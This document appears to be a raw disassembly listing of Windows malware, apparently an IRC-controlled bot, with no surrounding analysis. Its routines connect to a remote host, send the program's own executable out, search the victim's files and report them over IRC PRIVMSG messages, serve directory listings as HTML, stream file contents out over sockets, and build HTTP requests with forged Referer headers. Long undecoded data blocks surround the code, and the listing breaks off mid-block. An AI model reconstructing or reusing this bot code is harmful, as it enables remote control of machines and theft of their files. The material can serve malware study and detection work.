400BBh, 0E8850F00h, 0FF000000h, 4441C415h, 27403D00h dd 52740000h, 0B4858D50h, 68FFFFFDh, 433EA0h, 0CE88E850h dd 0F6330000h, 390CC483h, 1A754875h, 4475FF56h, 0FDB4858Dh dd 8D50FFFFh, 0FF50C445h, 0FCE8B475h, 83FFFEF9h, 858D14C4h dd 0FFFFFDB4h, 6522E850h, 75FF0000h, 98F3E8B8h, 5959FFFFh dd 19BE956h, 0FE680000h, 530000FFh, 9ABCE8h, 0A3595900h dd 4D525Ch, 62458966h, 458D106Ah, 0FF575060h, 4441E415h dd 75C63B00h, 0C415FF62h, 8B004441h, 858D56F0h, 0FFFFFDB4h dd 433EA068h, 7E85000h, 330000CEh, 0CC483FFh, 75487D39h dd 40FE8122h, 74000027h, 75FF571Ah, 0B4858D44h, 50FFFFFDh dd 50C4458Dh, 0E8B475FFh, 0FFFEF973h, 8D14C483h, 0FFFDB485h dd 99E850FFh, 0FF000064h, 6AE8B875h, 59FFFF98h, 12E95759h dd 6A000001h, 15FF5705h, 444230h, 840FC63Bh, 0EFh, 107045C7h dd 0BE000000h, 43C10Ch, 5070458Dh, 5050458Dh, 0BC15FF57h dd 83004440h, 4589FFF8h, 0FE9747Ch, 505245B7h, 0FF5475FFh dd 44418815h, 858D5000h, 0FFFFFDB4h, 433E6868h, 6BE85000h dd 830000CDh, 7D8310C4h, 1B750048h, 75FF006Ah, 0B4858D44h dd 50FFFFFDh, 50C4458Dh, 0E8B475FFh, 0FFFEF8DFh, 8D14C483h dd 0FFFDB485h, 5E850FFh, 59000064h, 68006Ah, 8D000002h dd 0FFFDB485h, 75FF50FFh, 6415FF7Ch, 83004440h, 840FFFF8h dd 0FFFFFF78h, 35FF5656h, 4D1FE4h, 0E8B475FFh, 0FFFF0A2Dh dd 0F8685059h, 8D00433Dh, 0FFF9B485h, 0E85053FFh, 0CD4Eh dd 8D1CC483h, 0FFF9B485h, 50006AFFh, 0C7FFE8h, 8D505900h dd 0FFF9B485h, 75FF50FFh, 0A015FF7Ch, 83004441h, 840FFFF8h dd 0FFFFFF28h, 525805FFh, 1DE9004Dh, 57FFFFFFh, 421815FFh dd 75FF0044h, 9753E8B8h, 6A59FFFFh, 6815FF00h, 0CC0042B0h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h call ds:dword_42B204 ; WSAStartup push 0 push 1 push 2 call ds:dword_42B20C ; socket push dword ptr [ebp+8] mov ds:dword_4D5260, eax mov word ptr [ebp-10h], 2 call ds:dword_42B218 ; inet_addr push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax call ds:dword_42B200 ; htons mov [ebp-0Eh], ax push 10h lea eax, [ebp-10h] push eax push ds:dword_4D5260 call ds:dword_42B1F4 ; connect cmp eax, 0FFFFFFFFh jnz short loc_411A78 push ds:dword_4D5260 call ds:dword_42B1F8 ; closesocket call ds:dword_42B1FC ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_411A78: ; CODE XREF: seg000:00411A60j xor eax, eax inc eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi push 104h lea eax, [ebp-104h] push eax push 0 call ds:dword_42B00C ; GetModuleFileNameA lea eax, [ebp-104h] push offset byte_42B630 push eax call sub_41E54E mov esi, eax test esi, esi pop ecx pop ecx jz short loc_411B14 test byte ptr [esi+0Ch], 10h jnz short loc_411AF8 push edi mov edi, 400h loc_411AC0: ; CODE XREF: seg000:00411AF5j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41E2D9 add esp, 10h push 0 push edi lea eax, [ebp-504h] push eax push ds:dword_4D5260 call ds:dword_42B210 ; send push 1 call ds:dword_42B014 ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_411AC0 pop edi loc_411AF8: ; CODE XREF: seg000:00411AB8j push esi call sub_41E24B pop ecx push ds:dword_4D5260 call ds:dword_42B1F8 ; closesocket call ds:dword_42B1FC ; WSACleanup xor eax, eax inc eax loc_411B14: ; CODE XREF: seg000:00411AB2j pop esi leave retn ; --------------------------------------------------------------------------- aUnlMbP db 'Ul$Œìp',0Ah,0 ; DATA XREF: seg000:0040B8BBo align 2 dw 458Bh dd 5756537Ch, 0DB33F08Bh, 0A9B943h, 0BD8D0000h, 0FFFFF994h dd 9889A5F3h, 2A0h, 0F604858Dh, 3350FFFFh, 10168F6h, 5D890000h dd 485D8958h, 89505D89h, 0FFFE48B5h, 38B589FFh, 0FFFFFFFCh dd 42B20415h, 6A535600h, 0C15FF02h, 8B0042B2h, 42B1E035h dd 8D046A00h, 6A51584Dh, 0FFFFBF04h, 50570000h, 0FF6C4589h dd 8D046AD6h, 6A504845h, 7D8B57FBh, 0D6FF576Ch, 5050458Dh dd 4667E68h, 15FF5780h, 42B1E4h, 2C6583h, 0A166C033h, 4D1FE4h dd 2845C766h, 0FF500002h, 44426015h, 45896600h, 8D106A2Ah dd 57502845h, 0B1E815FFh, 0C0850042h, 54B8C0Fh, 0A6A0000h dd 0EC15FF57h, 6A0042B1h, 0C0335941h, 8D505050h, 0FFFC3885h dd 458B50FFh, 4CBD896Ch, 89FFFFFEh, 8D40707Dh, 0FFFE48B5h dd 38BD8DFFh, 89FFFFFCh, 0FFFE489Dh, 0A5F350FFh, 0B21C15FFh dd 0F8830042h, 2840FFFh, 8B000005h, 42B2101Dh, 39FF3300h dd 7D89707Dh, 0BA8C0F7Ch, 6A000004h, 0D4858D64h, 6AFFFFFDh dd 0A5E85000h, 6A0000C9h, 8DF63364h, 5056C445h, 0C997E8h dd 18C48300h, 0FC38858Dh, 5750FFFFh, 17C6DE8h, 0FC08500h dd 47784h, 6C7D3B00h, 458D6C75h, 858D5064h, 0FFFFFE38h dd 6C75FF50h, 106445C7h, 0FF000000h, 42B1F015h, 0FFF88300h dd 44E840Fh, 958B0000h, 0FFFFFE48h, 0D63BC933h, 84390E76h dd 0FFFE4C8Dh, 410574FFh, 0F272CA3Bh, 1275CA3Bh, 7340FA83h dd 8D84890Dh, 0FFFFFE4Ch, 0FE4885FFh, 453BFFFFh, 89037E70h dd 6A567045h, 41746815h, 0FF500043h, 406E9D3h, 6A560000h dd 0D4858D64h, 50FFFFFDh, 815FF57h, 850042B2h, 8B487FC0h dd 0FFFE488Dh, 3BC033FFh, 393076CEh, 0FE4C85BCh, 1C74FFFFh dd 72C13B40h, 8B20EBF2h, 0FE50858Ch, 8C89FFFFh, 0FFFE4C85h dd 488D8BFFh, 40FFFFFEh, 72C13B49h, 488DFFE6h, 57FFFFFEh dd 0B1F815FFh, 0A9E90042h, 8D000003h, 0FFFD3C85h, 458D50FFh dd 858D50C4h, 0FFFFFDD4h, 43416C68h, 0E2E85000h, 8D0000D9h dd 6468C445h, 50004341h, 0CC27E8h, 18C48300h, 0D75C085h dd 68166A56h, 43414Ch, 356E9h, 0C4458D00h, 43414468h, 5E85000h dd 850000CCh, 755959C0h, 146A560Dh, 43412C68h, 335E900h dd 458D0000h, 412468C4h, 0E8500043h, 0CBE4h, 5959C085h dd 6A560D75h, 4114680Dh, 14E90043h, 8D000003h, 0C68C445h dd 50004341h, 0CBC3E8h, 59C08500h, 560D7559h, 0F868106Ah dd 0E9004340h, 2F3h, 68C4458Dh, 4340F4h, 0CBA2E850h, 0C0850000h dd 0D755959h, 681E6A56h, 4340D4h, 2D2E9h, 0C4458D00h, 4340CC68h dd 81E85000h, 850000CBh, 755959C0h, 3C858D24h, 68FFFFFDh dd 4340C8h, 0CB6AE850h, 0C0850000h, 0D755959h, 68136A56h dd 4340B4h, 29AE9h, 0C4458D00h, 4340CC68h, 49E85000h, 850000CBh dd 755959C0h, 3C858D24h, 68FFFFFDh, 4340B0h, 0CB32E850h dd 0C0850000h, 0D755959h, 68136A56h, 43409Ch, 262E9h, 0C4458D00h dd 43409468h, 11E85000h, 850000CBh, 755959C0h, 590A6A37h dd 434068BEh, 4CBD8D00h, 0F3FFFFFFh, 858D50A5h, 0FFFFFF4Ch dd 0E8A56650h, 0C31Ch, 858D5059h, 0FFFFFF4Ch, 7C75FF50h dd 7D8BD3FFh, 0E9F6337Ch, 21Ah, 68C4458Dh, 434060h, 0CAC6E850h dd 0C0850000h, 21755959h, 0BE59056Ah, 434048h, 0F3AC7D8Dh dd 50A566A5h, 50AC458Dh, 0C2D6E8A4h, 50590000h, 0EBAC458Dh dd 0C4458DBBh, 43404068h, 91E85000h, 850000CAh, 0F5959C0h dd 0B685h, 0A0858D00h, 50FFFFFDh, 0FF78858Dh, 8D50FFFFh dd 8D506045h, 8D505C45h, 8D505445h, 8D504C45h, 0FFFDD485h dd 401868FFh, 0E8500043h, 0D805h, 0FF78858Dh, 0E850FFFFh dd 0C869h, 8D684589h, 0FFFDA085h, 5AE850FFh, 6A0000C8h dd 7C458932h, 0FF78858Dh, 5056FFFFh, 0C68BE8h, 7C75FF00h dd 0FF78858Dh, 75FFFFFFh, 40106868h, 0E8500043h, 0C72Ah dd 6A44C483h, 78858D10h, 56FFFFFFh, 0CCD3E850h, 45890000h dd 60458D68h, 5C458D50h, 54458D50h, 4C458D50h, 38458D50h dd 43400468h, 0F7E85000h, 830000C6h, 6A5624C4h, 3FE4681Dh dd 14E90043h, 8D000001h, 0DC68C445h, 5000433Fh, 0C9C3E8h dd 59C08500h, 0E0850F59h, 56000000h, 0B068286Ah, 5700433Fh dd 75FFD3FFh, 38458D68h, 0FA12E850h, 0F883FFFFh, 0F595901h dd 0B485h, 38458D00h, 94858D50h, 68FFFFF7h, 433F8Ch, 0C698E850h dd 0C4830000h, 30B5390Ch, 75FFFFFCh, 0B5FF5623h, 0FFFFFC2Ch dd 0F794858Dh, 8D50FFFFh, 0FFFBAC85h, 0B5FF50FFh, 0FFFFF994h dd 0FEF202E8h, 14C483FFh, 0FFFA3CE8h, 1F883FFh, 8C850Fh dd 6A560000h, 3F746817h, 0FF570043h, 38458DD3h, 94858D50h dd 68FFFFF7h, 433F58h, 0C63CE850h, 0C4830000h, 30B5390Ch dd 75FFFFFCh, 0B5FF5623h, 0FFFFFC2Ch, 0F794858Dh, 8D50FFFFh dd 0FFFBAC85h, 0B5FF50FFh, 0FFFFF994h, 0FEF1A6E8h, 14C483FFh dd 0F794858Dh, 0E850FFFFh, 5CCCh, 400C05FFh, 0EB59004Dh dd 206A5629h, 433F3468h, 8D1CEB00h, 4068C445h, 500042FCh dd 0C8CBE8h, 59C08500h, 560B7559h, 18681B6Ah, 5700433Fh dd 646AD3FFh, 0FDD4858Dh, 5056FFFFh, 0C50BE8h, 0CC48300h dd 707D3B47h, 0F7C7D89h, 0FFFB468Eh, 59416AFFh, 5050C033h dd 38858D50h, 50FFFFFCh, 4070458Bh, 0FE48B58Dh, 0BD8DFFFFh dd 0FFFFFC38h, 0FFA5F350h, 42B21C15h, 0FFF88300h, 0FB07850Fh dd 0DB33FFFFh, 8B5E5F43h, 0C5835BC3h, 4C2C974h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412135 proc near ; CODE XREF: sub_40274D+73A7p var_598 = byte ptr -598h var_494 = byte ptr -494h var_38C = dword ptr -38Ch var_378 = byte ptr -378h var_36C = dword ptr -36Ch var_360 = byte ptr -360h var_24C = byte ptr -24Ch var_4C = byte ptr -4Ch var_24 = byte ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_16 = word ptr -16h var_14 = word ptr -14h var_12 = word ptr -12h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 598h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_598] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41E5F0 mov edi, [ebp+arg_0] push offset asc_42CC64 ; "\n" push edi call sub_41E7B2 add esp, 14h cmp [ebp+arg_8], ebx push edi jz short loc_412194 push [ebp+arg_8] mov esi, 200h push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" lea eax, [ebp+var_24C] push esi push eax call sub_41E6FE add esp, 14h jmp loc_412290 ; --------------------------------------------------------------------------- loc_412194: ; CODE XREF: sub_412135+3Bj cmp [ebp+arg_C], ebx jz loc_412276 call sub_41E1C0 push edi push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... mov [eax+edi-1], bl mov esi, 200h lea eax, [ebp+var_24C] push esi push eax call sub_41E6FE add esp, 14h lea eax, [ebp+var_24C] push ebx push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call ds:dword_4441A0 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_24C] push esi push eax call sub_41E6FE add esp, 10h lea eax, [ebp+var_24C] push ebx push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call ds:dword_4441A0 ; send push edi call sub_41E1C0 push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... mov byte ptr [eax+edi], 2Ah lea eax, [ebp+var_24C] push esi push eax call sub_41E6FE add esp, 1Ch lea eax, [ebp+var_24C] push ebx push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call ds:dword_4441A0 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_24C] push esi push eax call sub_41E6FE add esp, 0Ch jmp short loc_412290 ; --------------------------------------------------------------------------- loc_412276: ; CODE XREF: sub_412135+62j push offset aSearchingForS ; "Searching for: %s\r\n" mov esi, 200h lea eax, [ebp+var_24C] push esi push eax call sub_41E6FE add esp, 10h loc_412290: ; CODE XREF: sub_412135+5Aj ; sub_412135+13Fj lea eax, [ebp+var_24C] push ebx push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call ds:dword_4441A0 ; send cmp [ebp+arg_C], ebx jz short loc_412328 push [ebp+arg_C] call sub_41E1C0 cmp eax, 2 pop ecx jbe short loc_412328 push [ebp+arg_C] call sub_41E1C0 sub eax, 3 pop ecx jz short loc_4122DC loc_4122D0: ; CODE XREF: sub_412135+1A5j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_4122DC dec eax jnz short loc_4122D0 loc_4122DC: ; CODE XREF: sub_412135+199j ; sub_412135+1A2j inc eax push eax push [ebp+arg_C] lea eax, [ebp+var_598] push eax call sub_41E860 lea eax, [ebp+var_598] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_24C] push esi push eax call sub_41E6FE add esp, 1Ch lea eax, [ebp+var_24C] push ebx push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call ds:dword_4441A0 ; send loc_412328: ; CODE XREF: sub_412135+17Dj ; sub_412135+18Bj lea eax, [ebp+var_38C] push eax push edi call ds:dword_42B0B4 ; FindFirstFileA lea ecx, [ebp+var_38C] push ecx push eax mov [ebp+var_C], eax call ds:dword_42B0B0 ; FindNextFileA test eax, eax jz loc_41271F mov edi, 1FFh loc_412354: ; CODE XREF: sub_412135+5E4j cmp [ebp+var_38C], ebx jz loc_412707 lea eax, [ebp+var_360] push offset a__ ; ".." push eax call sub_41E990 test eax, eax pop ecx pop ecx jz loc_412707 lea eax, [ebp+var_360] push offset a__0 ; "." push eax call sub_41E990 test eax, eax pop ecx pop ecx jz loc_412707 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_378] push eax call ds:dword_42B0AC ; FileTimeToLocalFileTime lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_24] push eax call ds:dword_42B0A8 ; FileTimeToSystemTime mov ax, [ebp+var_14] cmp ax, 0Ch mov ecx, offset aPm_0 ; "PM" ja loc_412451 mov ecx, offset aAm ; "AM" movzx eax, ax loc_4123D0: ; CODE XREF: sub_412135+322j push ecx movzx ecx, [ebp+var_12] push ecx push eax movzx eax, [ebp+var_1C] push eax movzx eax, [ebp+var_16] push eax movzx eax, [ebp+var_1A] push eax lea eax, [ebp+var_4C] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41E6A6 add esp, 20h test byte ptr [ebp+var_38C], 10h jz loc_412588 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_41245C lea eax, [ebp+var_360] push eax push offset aS_2 ; "<%s>" lea eax, [ebp+var_494] push 106h push eax call sub_41E6FE lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_494] push eax push [ebp+arg_8] lea eax, [ebp+var_24C] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_41E6FE add esp, 28h jmp loc_4126D8 ; --------------------------------------------------------------------------- loc_412451: ; CODE XREF: sub_412135+28Dj movzx eax, ax sub eax, 0Ch jmp loc_4123D0 ; --------------------------------------------------------------------------- loc_41245C: ; CODE XREF: sub_412135+2D5j cmp [ebp+arg_C], ebx jz loc_412546 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_24C] push edi push eax call sub_41E6FE add esp, 10h lea eax, [ebp+var_24C] push ebx push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call ds:dword_4441A0 ; send lea eax, [ebp+var_360] push eax push [ebp+arg_C] lea eax, [ebp+var_24C] push offset aSS_3 ; "%s%s/" push edi push eax call sub_41E6FE add esp, 14h lea eax, [ebp+var_24C] push ebx push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call ds:dword_4441A0 ; send lea eax, [ebp+var_360] push eax call sub_41E1C0 cmp eax, 1Eh lea eax, [ebp+var_360] pop ecx push eax lea eax, [ebp+var_24C] jbe short loc_412502 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_412507 ; --------------------------------------------------------------------------- loc_412502: ; CODE XREF: sub_412135+3C4j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_412507: ; CODE XREF: sub_412135+3CBj push edi push eax call sub_41E6FE add esp, 10h lea eax, [ebp+var_24C] push ebx push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call ds:dword_4441A0 ; send push 3Ch lea eax, [ebp+var_4C] push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4126C9 ; --------------------------------------------------------------------------- loc_412546: ; CODE XREF: sub_412135+32Aj lea eax, [ebp+var_360] push eax push offset aS_2 ; "<%s>" lea eax, [ebp+var_494] push 106h push eax call sub_41E6FE lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_494] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_412573: ; CODE XREF: sub_412135+47Bj lea eax, [ebp+var_24C] push esi push eax call sub_41E6FE add esp, 24h jmp loc_4126D8 ; --------------------------------------------------------------------------- loc_412588: ; CODE XREF: sub_412135+2C9j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_4125B2 push ebx push [ebp+var_36C] call sub_419443 push eax lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_360] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_412573 ; --------------------------------------------------------------------------- loc_4125B2: ; CODE XREF: sub_412135+459j cmp [ebp+arg_C], ebx jz loc_4126B2 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_24C] push edi push eax call sub_41E6FE add esp, 10h lea eax, [ebp+var_24C] push ebx push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call ds:dword_4441A0 ; send lea eax, [ebp+var_360] push eax push [ebp+arg_C] lea eax, [ebp+var_24C] push offset aSS ; "%s%s" push edi push eax call sub_41E6FE add esp, 14h lea eax, [ebp+var_24C] push ebx push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call ds:dword_4441A0 ; send lea eax, [ebp+var_360] push eax call sub_41E1C0 cmp eax, 1Fh lea eax, [ebp+var_360] pop ecx push eax lea eax, [ebp+var_24C] jbe short loc_412658 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_41265D ; --------------------------------------------------------------------------- loc_412658: ; CODE XREF: sub_412135+51Aj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_41265D: ; CODE XREF: sub_412135+521j push edi push eax call sub_41E6FE add esp, 10h lea eax, [ebp+var_24C] push ebx push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call ds:dword_4441A0 ; send mov eax, [ebp+var_36C] shr eax, 0Ah push eax push 3Ch lea eax, [ebp+var_4C] push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_24C] push edi push eax call sub_41E6FE add esp, 1Ch jmp short loc_4126D8 ; --------------------------------------------------------------------------- loc_4126B2: ; CODE XREF: sub_412135+480j push [ebp+var_36C] lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_360] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_4126C9: ; CODE XREF: sub_412135+40Cj lea eax, [ebp+var_24C] push eax call sub_41E6FE add esp, 18h loc_4126D8: ; CODE XREF: sub_412135+317j ; sub_412135+44Ej ... lea eax, [ebp+var_24C] push ebx push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call ds:dword_4441A0 ; send cmp [ebp+arg_8], ebx jz short loc_412707 push 7D0h call ds:dword_42B014 ; Sleep loc_412707: ; CODE XREF: sub_412135+225j ; sub_412135+240j ... lea eax, [ebp+var_38C] push eax push [ebp+var_C] call ds:dword_42B0B0 ; FindNextFileA test eax, eax jnz loc_412354 loc_41271F: ; CODE XREF: sub_412135+214j push [ebp+var_C] call ds:dword_42B0A4 ; FindClose cmp [ebp+arg_8], ebx jz short loc_412762 mov eax, [ebp+var_8] cdq push edx push eax call sub_419443 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_419443 pop ecx pop ecx push eax push [ebp+arg_8] lea eax, [ebp+var_24C] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41E6A6 add esp, 14h jmp short loc_412790 ; --------------------------------------------------------------------------- loc_412762: ; CODE XREF: sub_412135+5F6j cmp [ebp+arg_C], ebx lea eax, [ebp+var_24C] jz short loc_41277C push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41E6A6 pop ecx pop ecx jmp short loc_412790 ; --------------------------------------------------------------------------- loc_41277C: ; CODE XREF: sub_412135+636j push [ebp+var_8] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41E6A6 add esp, 10h loc_412790: ; CODE XREF: sub_412135+62Bj ; sub_412135+645j lea eax, [ebp+var_24C] push ebx push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call ds:dword_4441A0 ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_412135 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 408h push ebx push esi push edi xor esi, esi push esi push esi push 3 push esi push 1 push 80000000h push dword ptr [ebp+0Ch] mov edi, 400h mov [ebp-8], esi call ds:dword_42B08C ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_41286E push esi push ebx call ds:dword_42B0BC ; GetFileSize cmp eax, esi mov [ebp-4], eax jz short loc_412867 loc_4127FB: ; CODE XREF: seg000:00412865j push 400h lea eax, [ebp-408h] push esi push eax call sub_41E5F0 add esp, 0Ch cmp edi, [ebp-4] jbe short loc_412818 mov edi, [ebp-4] loc_412818: ; CODE XREF: seg000:00412813j mov eax, [ebp-4] push 2 push esi neg eax push eax push ebx call ds:dword_42B0B8 ; SetFilePointer push esi lea eax, [ebp-8] push eax push edi lea eax, [ebp-408h] push eax push ebx call ds:dword_42B080 ; ReadFile push esi push edi lea eax, [ebp-408h] push eax push dword ptr [ebp+8] call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jnz short loc_412862 call ds:dword_4441C4 ; WSAGetLastError cmp eax, 2733h jnz short loc_412867 xor eax, eax loc_412862: ; CODE XREF: seg000:00412851j sub [ebp-4], eax jnz short loc_4127FB loc_412867: ; CODE XREF: seg000:004127F9j ; seg000:0041285Ej push ebx call ds:dword_42B004 ; CloseHandle loc_41286E: ; CODE XREF: seg000:004127E6j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_412873 proc near ; CODE XREF: seg000:00412CA5p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push edi xor esi, esi call sub_41E1C0 test eax, eax pop ecx jbe short loc_41289C loc_412886: ; CODE XREF: sub_412873+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_412890 mov byte ptr [esi+edi], 2Fh loc_412890: ; CODE XREF: sub_412873+17j push edi inc esi call sub_41E1C0 cmp esi, eax pop ecx jb short loc_412886 loc_41289C: ; CODE XREF: sub_412873+11j mov eax, edi pop edi pop esi retn sub_412873 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4128A1 proc near ; CODE XREF: sub_40274D+4FE6p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx push edi lea eax, [ebp+var_4A0] push eax push 101h call ds:dword_444110 ; WSAStartup push 6 push 1 push 2 call ds:dword_444100 ; socket push 10h mov ebx, eax xor edi, edi lea eax, [ebp+var_10] push edi push eax call sub_41E5F0 add esp, 0Ch push [ebp+arg_14] mov [ebp+var_10], 2 call ds:dword_444260 ; htons push [ebp+arg_10] mov [ebp+var_E], ax call sub_4022BD pop ecx mov [ebp+var_C], eax push 10h lea eax, [ebp+var_10] push eax push ebx call ds:dword_4440AC ; connect cmp eax, 0FFFFFFFFh jz short loc_41297E mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_41291A mov eax, offset byte_42B633 loc_41291A: ; CODE XREF: sub_4128A1+72j push esi push [ebp+arg_10] mov esi, 100h push eax push [ebp+arg_1C] lea eax, [ebp+var_110] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41E6FE add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call ds:dword_4441A0 ; send push esi lea eax, [ebp+var_110] push edi push eax call sub_41F400 add esp, 0Ch push edi push esi lea eax, [ebp+var_110] push eax push ebx call ds:dword_444064 ; recv pop esi loc_41297E: ; CODE XREF: sub_4128A1+6Bj push ebx call ds:dword_444218 ; closesocket call ds:dword_444224 ; WSACleanup lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41E6A6 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_4129BE push edi push [ebp+arg_8] lea eax, [ebp+var_310] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40123B add esp, 14h loc_4129BE: ; CODE XREF: sub_4128A1+102j pop edi pop ebx leave retn sub_4128A1 endp ; --------------------------------------------------------------------------- word_4129C2 dw 0B855h ; DATA XREF: seg000:00412D6Fo dd 1654h, 8C246C8Dh, 0C04FE8h, 7C458B00h, 0F08B5756h, 0ECB9h dd 28BD8D00h, 0F3FFFFFCh, 0AC80C7A5h, 1000003h, 8D000000h dd 0FFFCAC85h, 858D50FFh, 0FFFFFB24h, 0BCA4E850h, 858D0000h dd 0FFFFFDB0h, 20858D50h, 50FFFFFAh, 0BC91E8h, 83FF3300h dd 7D3910C4h, 0D8458DD0h, 40680774h, 0EB004348h, 48246805h dd 0E8500043h, 0BC72h, 466A5959h, 500C458Dh, 43481068h dd 0BE575700h, 409h, 0C415FF56h, 6A0042B0h, 54458D1Eh dd 48046850h, 57570043h, 0C015FF56h, 830042B0h, 8DFFBC7Dh dd 8D505445h, 8D500C45h, 8D505445h, 8D500C45h, 8D505445h dd 8D500C45h, 1775D845h, 20858D50h, 68FFFFEAh, 434728h dd 0BC10E850h, 0C4830000h, 0FF18EB24h, 8D50BC75h, 0FFEA2085h dd 463868FFh, 0E8500043h, 0BBF6h, 8D28C483h, 0FFEA2085h dd 0E85057FFh, 0B700h, 858D5059h, 0FFFFEA20h, 28B5FF50h dd 0FFFFFFFCh, 4441A015h, 0D07D3900h, 858D1675h, 0FFFFFB24h dd 28B5FF50h, 0E8FFFFFCh, 0FFFFFCCAh, 